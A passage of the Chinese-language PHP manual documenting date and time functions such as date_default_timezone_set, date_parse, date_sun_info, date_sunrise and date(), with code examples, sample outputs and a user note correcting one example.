以上示例的输出类似于：

date_default_timezone_set: Europe/London
date.timezone: Europe/London

Example #2 获取时区缩写

<?php
date_default_timezone_set('America/Los_Angeles');
echo date_default_timezone_get() . ' => ' . date('e') . ' => ' . date('T');
?>

以上示例会输出：

America/Los_Angeles => America/Los_Angeles => PST

参见

  • date_default_timezone_set() - 设置脚本中所有日期/时间函数使用的默认时区
  • 所支持的时区列表

User Contributed Notes

There are no user contributed notes for this page.


设置脚本中所有日期/时间函数使用的默认时区

  • ? date_default_timezone_get
  • date_diff ?
  • PHP Manual
  • Date/Time 函数
  • 设置脚本中所有日期/时间函数使用的默认时区

date_default_timezone_set

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

date_default_timezone_set — 设置脚本中所有日期/时间函数使用的默认时区

说明

date_default_timezone_set(string $timezoneId): bool

date_default_timezone_set() 设置所有日期/时间函数使用的默认时区

除了在脚本中使用此函数设置默认时区，还可以使用 INI 设置 date.timezone 设置默认时区。

参数

timezoneId

时区标识符，像 UTC、Africa/Lagos、Asia/Hong_Kong 或 Europe/Lisbon。有效的标识符列表见所支持的时区列表。

返回值

如果 timezoneId 无效，此函数返回 false，否则返回 true。

示例

Example #1 获取默认时区

<?php
date_default_timezone_set('America/Los_Angeles');

$script_tz = date_default_timezone_get();

if (strcmp($script_tz, ini_get('date.timezone'))){
echo 'Script timezone differs from ini-set timezone.';
} else {
echo 'Script timezone and ini-set timezone match.';
}
?>

参见

  • date_default_timezone_get() - 取得脚本中所有日期/时间函数所使用的默认时区
  • 所支持的时区列表

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTime::diff

  • ? date_default_timezone_set
  • date_format ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::diff

date_diff

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_diff — 别名 DateTime::diff()

说明

此函数是该函数的别名： DateTime::diff()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTime::format

  • ? date_diff
  • date_get_last_errors ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::format

date_format

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_format — 别名 DateTime::format()

说明

此函数是该函数的别名： DateTime::format()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTimeImmutable::getLastErrors

  • ? date_format
  • date_interval_create_from_date_string ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTimeImmutable::getLastErrors

date_get_last_errors

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_get_last_errors — 别名 DateTimeImmutable::getLastErrors()

说明

此函数是该函数的别名： DateTimeImmutable::getLastErrors()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateInterval::createFromDateString

  • ? date_get_last_errors
  • date_interval_format ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateInterval::createFromDateString

date_interval_create_from_date_string

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_interval_create_from_date_string — 别名 DateInterval::createFromDateString()

说明

此函数是该函数的别名： DateInterval::createFromDateString()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateInterval::format

  • ? date_interval_create_from_date_string
  • date_isodate_set ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateInterval::format

date_interval_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_interval_format — 别名 DateInterval::format()

说明

此函数是该函数的别名： DateInterval::format()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTime::setISODate

  • ? date_interval_format
  • date_modify ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::setISODate

date_isodate_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_isodate_set — 别名 DateTime::setISODate()

说明

此函数是该函数的别名： DateTime::setISODate()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTime::modify

  • ? date_isodate_set
  • date_offset_get ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::modify

date_modify

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_modify — 别名 DateTime::modify()

说明

此函数是该函数的别名： DateTime::modify()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTime::getOffset

  • ? date_modify
  • date_parse_from_format ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::getOffset

date_offset_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_offset_get — 别名 DateTime::getOffset()

说明

此函数是该函数的别名： DateTime::getOffset()

User Contributed Notes

There are no user contributed notes for this page.


Get info about given date formatted according to the specified format

  • ? date_offset_get
  • date_parse ?
  • PHP Manual
  • Date/Time 函数
  • Get info about given date formatted according to the specified format

date_parse_from_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_parse_from_format — Get info about given date formatted according to the specified format

说明

date_parse_from_format(string $format, string $datetime): array

Returns associative array with detailed info about given date/time.

参数

format

Documentation on how the format is used, please refer to the documentation of DateTimeImmutable::createFromFormat(). The same rules apply.

datetime

String representing the date/time.

返回值

Returns associative array with detailed info about given date/time.

The returned array has keys for year, month, day, hour, minute, second, fraction, and is_localtime.

If is_localtime is present then zone_type indicates the type of timezone. For type 1 (UTC offset) the zone, is_dst fields are added; for type 2 (abbreviation) the fields tz_abbr, is_dst are added; and for type 3 (timezone identifier) the tz_abbr, tz_id are added.

The array includes warning_count and warnings fields. The first one indicate how many warnings there were. The keys of elements warnings array indicate the position in the given datetime where the warning occurred, with the string value describing the warning itself. An example below shows such a warning.

The array also contains error_count and errors fields. The first one indicate how many errors were found. The keys of elements errors array indicate the position in the given datetime where the error occurred, with the string value describing the error itself. An example below shows such an error.

Warning

The number of array elements in the warnings and errors arrays might be less than warning_count or error_count if they occurred at the same position.

错误／异常

This functions throws ValueError when the datetime contains NULL-bytes.

更新日志

版本 | 说明
8.0.21, 8.1.8, 8.2.0 | Now throws ValueError when NULL-bytes are passed into datetime, which previously was silently ignored.
7.2.0 | The zone element of the returned array represents seconds instead of minutes now, and its sign is inverted. For instance -120 is now 7200.

示例

Example #1 date_parse_from_format() example

<?php
$date = "6.1.2009 13:00+01:00";
print_r(date_parse_from_format("j.n.Y H:iP", $date));
?>

以上示例会输出：

Array
(
    [year] => 2009
    [month] => 1
    [day] => 6
    [hour] => 13
    [minute] => 0
    [second] => 0
    [fraction] =>
    [warning_count] => 0
    [warnings] => Array
        (
        )

    [error_count] => 0
    [errors] => Array
        (
        )

    [is_localtime] => 1
    [zone_type] => 1
    [zone] => 3600
    [is_dst] =>
)

Example #2 date_parse_from_format() with warnings example

<?php
$date = "26 August 2022 22:30 pm";
$parsed = date_parse_from_format("j F Y G:i a", $date);

echo "Warnings count: ", $parsed['warning_count'], "\n";
foreach ($parsed['warnings'] as $position => $message) {
echo "\tOn position {$position}: {$message}\n";
}
?>

以上示例会输出：

Warnings count: 1
    On position 23: The parsed time was invalid

Example #3 date_parse_from_format() with errors example

<?php
$date = "26 August 2022 CEST";
$parsed = date_parse_from_format("j F Y H:i", $date);

echo "Errors count: ", $parsed['error_count'], "\n";
foreach ($parsed['errors'] as $position => $message) {
echo "\tOn position {$position}: {$message}\n";
}
?>

以上示例会输出：

Errors count: 3
    On position 15: A two digit hour could not be found
    On position 19: Data missing

参见

  • DateTimeImmutable::createFromFormat() - Parses a time string according to a specified format
  • checkdate() - 验证一个格里高里日期

User Contributed Notes

There are no user contributed notes for this page.


返回指定日期/时间的详细信息的关联数组

  • ? date_parse_from_format
  • date_sub ?
  • PHP Manual
  • Date/Time 函数
  • 返回指定日期/时间的详细信息的关联数组

date_parse

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_parse — 返回指定日期/时间的详细信息的关联数组

说明

date_parse(string $datetime): array

date_parse() 根据与 strtotime() 和 DateTimeImmutable::__construct() 相同的规则解析指定 datetime 字符串。它不返回 Unix 时间戳（使用 strtotime()）或者 DateTimeImmutable 对象（使用 DateTimeImmutable::__construct()），而是返回包含在指定 datetime 字符串中检测到相关信息的关联数组。

如果找不到某组元素的信息，那么这些数组元素将会设置为 false 或缺失。如果需要从相同的 datetime 字符串构建时间戳或者 DateTimeImmutable 对象，需要将更多字段设置为非 false 值。查看以下示例以了解情况。

参数

datetime

DateTimeImmutable::__construct() 接受的日期/时间格式。

返回值

返回 array，包含解析日期/时间的信息。

返回的数组存在以下键 year、month、day、hour、minute、second、fraction 和 is_localtime。

如果存在 is_localtime，则 zone_type 表示时区类型。类型 1（UTC 时差），添加 zone、is_dst；类型 2（时区缩写），添加 tz_abbr、is_dst；类型 3（时区标识符），添加 tz_abbr、tz_id。

如果 datetime 字符串存在类似 +3 days 这样的相对时间元素，则返回的数组则包含键为 relative 的嵌套数组。然后此数组将包含如下键 year、month、day、hour、minute、second，如果必要还会包含 weekday 和 weekdays，具体取决于传入的字符串。

数组包含 warning_count 和 warnings 字段。第一个表示发现了多少警告。元素 warnings 的键表示指定 datetime 发生警告的位置，值为字符串，描述警告本身。

数组也包含 error_count 和 errors 字段。第一个表示发现了多少错误。元素 errors 的键表示指定 datetime 发生错误的位置，值为字符串，描述错误本身。

Warning

如果同一个位置存在多个警告/错误，那么 warnings 和 errors 数组中元素的数量可能会少于 warning_count 或者 error_count。

错误／异常

date/time 的格式有错误时，返回数组的 'errors' 键将包含错误信息。

更新日志

版本 | 说明
7.2.0 | 返回数组的 zone 键现在代表秒，而不是分钟。并且正负符号已反转，例如：之前是 -120 现在是 7200。

示例

Example #1 具有全面的 datetime 字符串的 date_parse() 示例

<?php
var_dump(date_parse("2006-12-12 10:00:00.5"));
?>

以上示例会输出：

array(12) {
  ["year"]=>
  int(2006)
  ["month"]=>
  int(12)
  ["day"]=>
  int(12)
  ["hour"]=>
  int(10)
  ["minute"]=>
  int(0)
  ["second"]=>
  int(0)
  ["fraction"]=>
  float(0.5)
  ["warning_count"]=>
  int(0)
  ["warnings"]=>
  array(0) {
  }
  ["error_count"]=>
  int(0)
  ["errors"]=>
  array(0) {
  }
  ["is_localtime"]=>
  bool(false)
}

如果在指定 datetime 字符串中出现时区元素，那才会展示。在这种情况下，总会存在 zone_type 和更多元素，具体取决于其值。

Example #2 带时区缩写信息的 date_parse()

<?php
var_dump(date_parse("June 2nd, 2022, 10:28:17 BST"));
?>

以上示例会输出：

array(16) {
  ["year"]=>
  int(2022)
  ["month"]=>
  int(6)
  ["day"]=>
  int(2)
  ["hour"]=>
  int(10)
  ["minute"]=>
  int(28)
  ["second"]=>
  int(17)
  ["fraction"]=>
  float(0)
  ["warning_count"]=>
  int(0)
  ["warnings"]=>
  array(0) {
  }
  ["error_count"]=>
  int(0)
  ["errors"]=>
  array(0) {
  }
  ["is_localtime"]=>
  bool(true)
  ["zone_type"]=>
  int(2)
  ["zone"]=>
  int(0)
  ["is_dst"]=>
  bool(true)
  ["tz_abbr"]=>
  string(3) "BST"
}

Example #3 带时区标识符信息的 date_parse()

<?php
var_dump(date_parse("June 2nd, 2022, 10:28:17 Europe/London"));
?>

以上示例会输出：

array(14) {
  ["year"]=>
  int(2022)
  ["month"]=>
  int(6)
  ["day"]=>
  int(2)
  ["hour"]=>
  int(10)
  ["minute"]=>
  int(28)
  ["second"]=>
  int(17)
  ["fraction"]=>
  float(0)
  ["warning_count"]=>
  int(0)
  ["warnings"]=>
  array(0) {
  }
  ["error_count"]=>
  int(0)
  ["errors"]=>
  array(0) {
  }
  ["is_localtime"]=>
  bool(true)
  ["zone_type"]=>
  int(3)
  ["tz_id"]=>
  string(13) "Europe/London"
}

如果解析的 datetime 字符串越小，那么可用的信息就越少。再本示例中，所有时间部分都返回为 false。

Example #4 带最小字符串的 date_parse()

<?php
var_dump(date_parse("June 2nd, 2022"));
?>

以上示例会输出：

array(12) {
  ["year"]=>
  int(2022)
  ["month"]=>
  int(6)
  ["day"]=>
  int(2)
  ["hour"]=>
  bool(false)
  ["minute"]=>
  bool(false)
  ["second"]=>
  bool(false)
  ["fraction"]=>
  bool(false)
  ["warning_count"]=>
  int(0)
  ["warnings"]=>
  array(0) {
  }
  ["error_count"]=>
  int(0)
  ["errors"]=>
  array(0) {
  }
  ["is_localtime"]=>
  bool(false)
}

相对格式不会影响从绝对格式格式化的值，但会被解析为"relative"元素。

Example #5 带相对格式的 date_parse()

<?php
var_dump(date_parse("2006-12-12 10:00:00.5 +1 week +1 hour"));
?>

以上示例会输出：

array(13) {
  ["year"]=>
  int(2006)
  ["month"]=>
  int(12)
  ["day"]=>
  int(12)
  ["hour"]=>
  int(10)
  ["minute"]=>
  int(0)
  ["second"]=>
  int(0)
  ["fraction"]=>
  float(0.5)
  ["warning_count"]=>
  int(0)
  ["warnings"]=>
  array(0) {
  }
  ["error_count"]=>
  int(0)
  ["errors"]=>
  array(0) {
  }
  ["is_localtime"]=>
  bool(false)
  ["relative"]=>
  array(6) {
    ["year"]=>
    int(0)
    ["month"]=>
    int(0)
    ["day"]=>
    int(7)
    ["hour"]=>
    int(1)
    ["minute"]=>
    int(0)
    ["second"]=>
    int(0)
  }
}

在某些时候，比如 Thursday 将会设置字符串的时间部分设置为 0。如果 Thursday 传递给 DateTimeImmutable::__construct() 也会导致小时，分钟，秒和小数部分设置为 0。下面的示例中，year 元素将设置为 false。

Example #6 date_parse() with side-effects

<?php
var_dump(date_parse("Thursday, June 2nd"));
?>

以上示例会输出：

array(13) {
  ["year"]=>
  bool(false)
  ["month"]=>
  int(6)
  ["day"]=>
  int(2)
  ["hour"]=>
  int(0)
  ["minute"]=>
  int(0)
  ["second"]=>
  int(0)
  ["fraction"]=>
  float(0)
  ["warning_count"]=>
  int(0)
  ["warnings"]=>
  array(0) {
  }
  ["error_count"]=>
  int(0)
  ["errors"]=>
  array(0) {
  }
  ["is_localtime"]=>
  bool(false)
  ["relative"]=>
  array(7) {
    ["year"]=>
    int(0)
    ["month"]=>
    int(0)
    ["day"]=>
    int(0)
    ["hour"]=>
    int(0)
    ["minute"]=>
    int(0)
    ["second"]=>
    int(0)
    ["weekday"]=>
    int(4)
  }
}

参见

  • date_parse_from_format() - Get info about given date formatted according to the specified format，以解析具有特定格式的datetime
  • checkdate() - 验证一个格里高里日期，以便于公历日期验证
  • getdate() - 获取日期/时间信息

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTime::sub

  • ? date_parse
  • date_sun_info ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::sub

date_sub

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_sub — 别名 DateTime::sub()

说明

此函数是该函数的别名： DateTime::sub()

参见

  • DateTimeImmutable::sub() - Subtracts an amount of days, months, years, hours, minutes and seconds
  • DateTime::sub() - 对 DateTime 对象减去一定量的日、月、年、小时、分钟和秒。

User Contributed Notes

There are no user contributed notes for this page.


Returns an array with information about sunset/sunrise and twilight begin/end

  • ? date_sub
  • date_sunrise ?
  • PHP Manual
  • Date/Time 函数
  • Returns an array with information about sunset/sunrise and twilight begin/end

date_sun_info

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

date_sun_info — Returns an array with information about sunset/sunrise and twilight begin/end

说明

date_sun_info(int $timestamp, float $latitude, float $longitude): array

参数

timestamp

Unix timestamp.

latitude

Latitude in degrees.

longitude

Longitude in degrees.

返回值

Returns array on success 或者在失败时返回 false. The structure of the array is detailed in the following list:

sunrise
The timestamp of the sunrise (zenith angle = 90°35').
sunset
The timestamp of the sunset (zenith angle = 90°35').
transit
The timestamp when the sun is at its zenith, i.e. has reached its topmost point.
civil_twilight_begin
The start of the civil dawn (zenith angle = 96°). It ends at sunrise.
civil_twilight_end
The end of the civil dusk (zenith angle = 96°). It starts at sunset.
nautical_twilight_begin
The start of the nautical dawn (zenith angle = 102°). It ends at civil_twilight_begin.
nautical_twilight_end
The end of the nautical dusk (zenith angle = 102°). It starts at civil_twilight_end.
astronomical_twilight_begin
The start of the astronomical dawn (zenith angle = 108°). It ends at nautical_twilight_begin.
astronomical_twilight_end
The end of the astronomical dusk (zenith angle = 108°). It starts at nautical_twilight_end.

The values of the array elements are either UNIX timestamps, false if the sun is below the respective zenith for the whole day, or true if the sun is above the respective zenith for the whole day.

更新日志

版本 | 说明
7.2.0 | The calculation was fixed with regards to local midnight instead of local noon, which changes the results slightly.

示例

Example #1 A date_sun_info() example

<?php
$sun_info = date_sun_info(strtotime("2006-12-12"), 31.7667, 35.2333);
foreach ($sun_info as $key => $val) {
echo "$key: " . date("H:i:s", $val) . "\n";
}
?>

以上示例会输出：

sunrise: 05:52:11
sunset: 15:41:21
transit: 10:46:46
civil_twilight_begin: 05:24:08
civil_twilight_end: 16:09:24
nautical_twilight_begin: 04:52:25
nautical_twilight_end: 16:41:06
astronomical_twilight_begin: 04:21:32
astronomical_twilight_end: 17:12:00

Example #2 Polar night, with some processing

<?php
$tz = new \DateTimeZone('America/Anchorage');

$si = date_sun_info(strtotime("2022-12-21"), 70.21, -148.51);
foreach ($si as $key => $value) {
echo
match ($value) {
true => 'always',
false => 'never',
default => date_create("@{$value}")->setTimeZone($tz)->format( 'H:i:s T' ),
},
": {$key}",
"\n";
}
?>

以上示例会输出：

never: sunrise
never: sunset
12:52:18 AKST: transit
10:53:19 AKST: civil_twilight_begin
14:51:17 AKST: civil_twilight_end
09:01:47 AKST: nautical_twilight_begin
16:42:48 AKST: nautical_twilight_end
07:40:47 AKST: astronomical_twilight_begin
18:03:49 AKST: astronomical_twilight_end

Example #3 Midnight sun (Troms?, Norway)

<?php
$si = date_sun_info(strtotime("2022-06-26"), 69.68, 18.94);
print_r($si);
?>

以上示例会输出：

Array
(
    [sunrise] => 1
    [sunset] => 1
    [transit] => 1656240426
    [civil_twilight_begin] => 1
    [civil_twilight_end] => 1
    [nautical_twilight_begin] => 1
    [nautical_twilight_end] => 1
    [astronomical_twilight_begin] => 1
    [astronomical_twilight_end] => 1
)

Example #4 Calculating length of day (Kyiv)

<?php
$si = date_sun_info(strtotime('2022-08-26'), 50.45, 30.52);
$diff = $si['sunset'] - $si['sunrise'];
echo "Length of day: ",
floor($diff / 3600), "h ",
floor(($diff % 3600) / 60), "s\n";
?>

以上示例会输出：

Length of day: 13h 56s

User Contributed Notes

TheFax 04-Dec-2022 09:27
In the last example, conversion from seconds to Hour, Minutes, Seconds is wrong.
This is the correct verion:

<?php
$si = date_sun_info(strtotime('2022-08-26'), 50.45, 30.52);
$diff = $si['sunset'] - $si['sunrise'];  # $diff is measured in seconds.
echo "Length of day: ",
    floor($diff / 3600), "h",
    floor(($diff % 3600) / 60), "m",
    floor($diff % 60), "s\n";
?>

Output:
  Length of day: 13h53m15s


返回给定的日期与地点的日出时间

  • ? date_sun_info
  • date_sunset ?
  • PHP Manual
  • Date/Time 函数
  • 返回给定的日期与地点的日出时间

date_sunrise

(PHP 5, PHP 7, PHP 8)

date_sunrise — 返回给定的日期与地点的日出时间

Warning

该函数自 PHP 8.1.0 起弃用。强烈建议不要依赖此函数。请改用 date_sun_info()。

说明

date_sunrise(
int $timestamp,
int $returnFormat = SUNFUNCS_RET_STRING,
?float $latitude = null,
?float $longitude = null,
?float $zenith = null,
?float $utcOffset = null
): string|int|float|false

date_sunrise() 返回给定的日期（以 timestamp 指定）与地点的日出时间。

参数

timestamp

取 timestamp所在日期的日出时间。

returnFormat

returnFormat 常量
常量 | 说明 | 取值举例
SUNFUNCS_RET_STRING | 以 string 格式返回结果 | 16:46
SUNFUNCS_RET_DOUBLE | 以 float 格式返回结果 | 16.78243132
SUNFUNCS_RET_TIMESTAMP | 以 int 格式（时间戳）返回结果 | 1095034606

latitude

默认是指北纬。因此如果要指定南纬，必须传递一个负值。 参见 date.default_latitude

longitude

默认是指东经。因此如果要指定西经，必须传递一个负值。 参见 date.default_longitude

zenith

zenith is the angle between the center of the sun and a line perpendicular to earth's surface. It defaults to date.sunrise_zenith

Common zenith angles
Angle | Description
90°50' | Sunrise: the point where the sun becomes visible.
96° | Civil twilight: conventionally used to signify the start of dawn.
102° | Nautical twilight: the point at which the horizon starts being visible at sea.
108° | Astronomical twilight: the point at which the sun starts being the source of any illumination.

utcOffset

单位是小时。 The utcOffset is ignored, if returnFormat is SUNFUNCS_RET_TIMESTAMP.

返回值

按指定格式 returnFormat 返回的日出时间， 或者在失败时返回 false。 One potential reason for failure is that the sun does not rise at all, which happens inside the polar circles for part of the year.

错误／异常

在每次调用日期/时间函数时，如果时区无效则会引发 E_NOTICE 错误。参见 date_default_timezone_set()。

更新日志

版本 | 说明
8.1.0 | 此函数已弃用，请改用 date_sun_info()。
8.0.0 | latitude, longitude, zenith and utcOffset are nullable now.

示例

Example #1 date_sunrise() 例子

<?php

/* 计算葡萄牙里斯本的日出时间
Latitude: 北纬 38.4 度
Longitude: 西经 9 度
Zenith ~= 90
offset: +1 GMT
*/

echo date("D M d Y"). ', sunrise time : ' .date_sunrise(time(), SUNFUNCS_RET_STRING, 38.4, -9, 90, 1);

?>

以上示例的输出类似于：

Mon Dec 20 2004, sunrise time : 08:54

Example #2 No sunrise

<?php
$solstice = strtotime('2017-12-21');
var_dump(date_sunrise($solstice, SUNFUNCS_RET_STRING, 69.245833, -53.537222));
?>

以上示例会输出：

bool(false)

参见

  • date_sun_info() - Returns an array with information about sunset/sunrise and twilight begin/end

User Contributed Notes

There are no user contributed notes for this page.


返回给定的日期与地点的日落时间

  • ? date_sunrise
  • date_time_set ?
  • PHP Manual
  • Date/Time 函数
  • 返回给定的日期与地点的日落时间

date_sunset

(PHP 5, PHP 7, PHP 8)

date_sunset — 返回给定的日期与地点的日落时间

Warning

该函数自 PHP 8.1.0 起弃用。强烈建议不要依赖此函数。请改用 date_sun_info()。

说明

date_sunset(
int $timestamp,
int $returnFormat = SUNFUNCS_RET_STRING,
?float $latitude = null,
?float $longitude = null,
?float $zenith = null,
?float $utcOffset = null
): string|int|float|false

date_sunset() 返回给定的日期（以 timestamp 指定）与地点的日落时间。

参数

timestamp

返回给定的日期（以 timestamp 指定）的日落时间。

returnFormat

returnFormat 常量
常量 | 说明 | 取值举例
SUNFUNCS_RET_STRING | 以 string 格式返回结果 | 16:46
SUNFUNCS_RET_DOUBLE | 以 float 格式返回结果 | 16.78243132
SUNFUNCS_RET_TIMESTAMP | 以 int 格式（时间戳）返回结果 | 1095034606

latitude

默认是指北纬。因此如果要指定南纬，必须传递一个负值。参见：date.default_latitude

longitude

默认是指东经。因此如果要指定西经，必须传递一个负值。参见：date.default_longitude

zenith

zenith is the angle between the center of the sun and a line perpendicular to earth's surface. It defaults to date.sunrise_zenith

Common zenith angles
Angle | Description
90°50' | Sunrise: the point where the sun becomes visible.
96° | Civil twilight: conventionally used to signify the start of dawn.
102° | Nautical twilight: the point at which the horizon starts being visible at sea.
108° | Astronomical twilight: the point at which the sun starts being the source of any illumination.

utcOffset

单位是小时。 The utcOffset is ignored, if returnFormat is SUNFUNCS_RET_TIMESTAMP.

返回值

用指定的格式 returnFormat 返回日落时间， 或者在失败时返回 false。 One potential reason for failure is that the sun does not rise at all, which happens inside the polar circles for part of the year.

错误／异常

在每次调用日期/时间函数时，如果时区无效则会引发 E_NOTICE 错误。参见 date_default_timezone_set()。

更新日志

版本 | 说明
8.1.0 | 此函数已弃用，请改用 date_sun_info()。
8.0.0 | latitude, longitude, zenith and utcOffset are nullable now.

示例

Example #1 date_sunset() 例子

<?php

/* calculate the sunset time for Lisbon, Portugal
Latitude: 38.4 North
Longitude: 9 West
Zenith ~= 90
offset: +1 GMT
*/

echo date("D M d Y"). ', sunset time : ' .date_sunset(time(), SUNFUNCS_RET_STRING, 38.4, -9, 90, 1);

?>

以上示例的输出类似于：

Mon Dec 20 2004, sunset time : 18:13

Example #2 No sunrise

<?php
$solstice = strtotime('2017-12-21');
var_dump(date_sunrise($solstice, SUNFUNCS_RET_STRING, 69.245833, -53.537222));
?>

以上示例会输出：

bool(false)

参见

  • date_sun_info() - Returns an array with information about sunset/sunrise and twilight begin/end

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTime::setTime

  • ? date_sunset
  • date_timestamp_get ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::setTime

date_time_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_time_set — 别名 DateTime::setTime()

说明

此函数是该函数的别名： DateTime::setTime()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTime::getTimestamp

  • ? date_time_set
  • date_timestamp_set ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::getTimestamp

date_timestamp_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_timestamp_get — 别名 DateTime::getTimestamp()

说明

此函数是该函数的别名： DateTime::getTimestamp()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTime::setTimestamp

  • ? date_timestamp_get
  • date_timezone_get ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::setTimestamp

date_timestamp_set

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_timestamp_set — 别名 DateTime::setTimestamp()

说明

此函数是该函数的别名： DateTime::setTimestamp()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTime::getTimezone

  • ? date_timestamp_set
  • date_timezone_set ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::getTimezone

date_timezone_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_timezone_get — 别名 DateTime::getTimezone()

说明

此函数是该函数的别名： DateTime::getTimezone()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTime::setTimezone

  • ? date_timezone_get
  • date ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::setTimezone

date_timezone_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_timezone_set — 别名 DateTime::setTimezone()

说明

此函数是该函数的别名： DateTime::setTimezone()

User Contributed Notes

There are no user contributed notes for this page.


格式化 Unix 时间戳

  • ? date_timezone_set
  • getdate ?
  • PHP Manual
  • Date/Time 函数
  • 格式化 Unix 时间戳

date

(PHP 4, PHP 5, PHP 7, PHP 8)

date — 格式化 Unix 时间戳

说明

date(string $format, ?int $timestamp = null): string

使用指定整数 timestamp（Unix 时间戳），或者使用当前时间（如果没有指定时间戳），返回相应的指定格式的格式化字符串。换句话说，timestamp 是可选的，默认值是 time()。

Warning

Unix 时间戳不处理时区。使用 DateTimeImmutable 及其 DateTimeInterface::format() 格式化方法来格式化携带时区的日期/时间信息。

参数

format

DateTimeInterface::format() 接受的格式。

Note: date() 将始终生成 000000 作为微秒，因为它采用 int 参数，而如果 DateTime 是用微秒创建的，则 DateTime::format() 支持微秒。

timestamp

可选的 timestamp 参数是一个 int 的 Unix 时间戳，如未指定或是 null，参数值默认为当前本地时间。也就是说，其值默认为 time() 的返回值。

返回值

返回格式化后的日期字符串。

错误／异常

在每次调用日期/时间函数时，如果时区无效则会引发 E_NOTICE 错误。参见 date_default_timezone_set()。

更新日志

版本 | 说明
8.0.0 | 现在 timestamp 允许为 null。

示例

Example #1 date() 示例

<?php
// 设置要使用的默认时区。
date_default_timezone_set('UTC');

// 打印类似：Monday
echo date("l");

// 打印类似：Monday 8th of August 2005 03:12:46 PM
echo date('l jS \of F Y h:i:s A');

// 打印：July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", mktime(0, 0, 0, 7, 1, 2000));

/* 使用格式化参数中的常量 */
// 打印类似：Wed, 25 Sep 2013 15:28:57 -0700
echo date(DATE_RFC2822);

// 打印类似：2000-07-01T00:00:00+00:00
echo date(DATE_ATOM, mktime(0, 0, 0, 7, 1, 2000));
?>

可以对格式化字符串中的解析字符，在其前面添加反斜线来防止解析。如果带有反斜线的字符已经是特殊字符，需要对反斜线进行再次转义。

Example #2 date() 中的转义字符

<?php
// 打印类似： Wednesday the 15th
echo date('l \t\h\e jS');
?>

可以一起使用 date() 和 mktime() 来查找过去或未来的日期时间。

Example #3 date() 和 mktime() 示例

<?php
$tomorrow = mktime(0, 0, 0, date("m") , date("d")+1, date("Y"));
$lastmonth = mktime(0, 0, 0, date("m")-1, date("d"), date("Y"));
$nextyear = mktime(0, 0, 0, date("m"), date("d"), date("Y")+1);
?>

Note:

由于存在夏令时时间，所以此方案相对于直接在时间戳上加/减秒数要更加可靠。

date() 格式化的一些示例。请注意，即使是对于当前来说并不具有特殊含义的字符，也要像对待具有特殊含义的字符那样进行转义，以避免产生非预期的值，因为可能在将来的 PHP 版本中，这些字符会被赋予特殊的含义。进行转义的时候，请确保使用单引号，以避免 \n 这样的字符被解释为换行符号。

Example #4 date() 格式化

<?php
// 假设今天是 2001 年 3 月 10 日下午 5 点 16 分 18 秒，
// 并且位于山区标准时间（MST）时区

$today = date("F j, Y, g:i a"); // March 10, 2001, 5:16 pm
$today = date("m.d.y"); // 03.10.01
$today = date("j, n, Y"); // 10, 3, 2001
$today = date("Ymd"); // 20010310
$today = date('h-i-s, j-m-y, it is w Day'); // 05-16-18, 10-03-01, 1631 1618 6 Satpm01
$today = date('\i\t \i\s \t\h\e jS \d\a\y.'); // it is the 10th day.
$today = date("D M j G:i:s T Y"); // Sat Mar 10 17:16:18 MST 2001
$today = date('H:m:s \m \i\s\ \m\o\n\t\h'); // 17:03:18 m is month
$today = date("H:i:s"); // 17:16:18
$today = date("Y-m-d H:i:s"); // 2001-03-10 17:16:18（MySQL DATETIME 格式）
?>

如果需要将日期时间格式化为其他语言，使用 IntlDateFormatter::format() 而不是 date()。

注释

Note:

使用 strtotime() 将字符串表示的日期转换为时间戳。另外，一些数据库产品也提供了将日期格式转换为时间戳的函数（例如 MySQL 中的 » UNIX_TIMESTAMP 函数）。

Tip

请求的开始时间可以从变量 $_SERVER['REQUEST_TIME'] 中获取。

参见

  • DateTimeImmutable::__construct() - Returns new DateTimeImmutable object
  • DateTimeInterface::format() - 按照指定格式返回格式化后的日期
  • gmdate() - 格式化 GMT/UTC 日期／时间
  • idate() - 将本地日期/时间格式化为整数
  • getdate() - 获取日期/时间信息
  • getlastmod() - 获取页面最后修改的时间
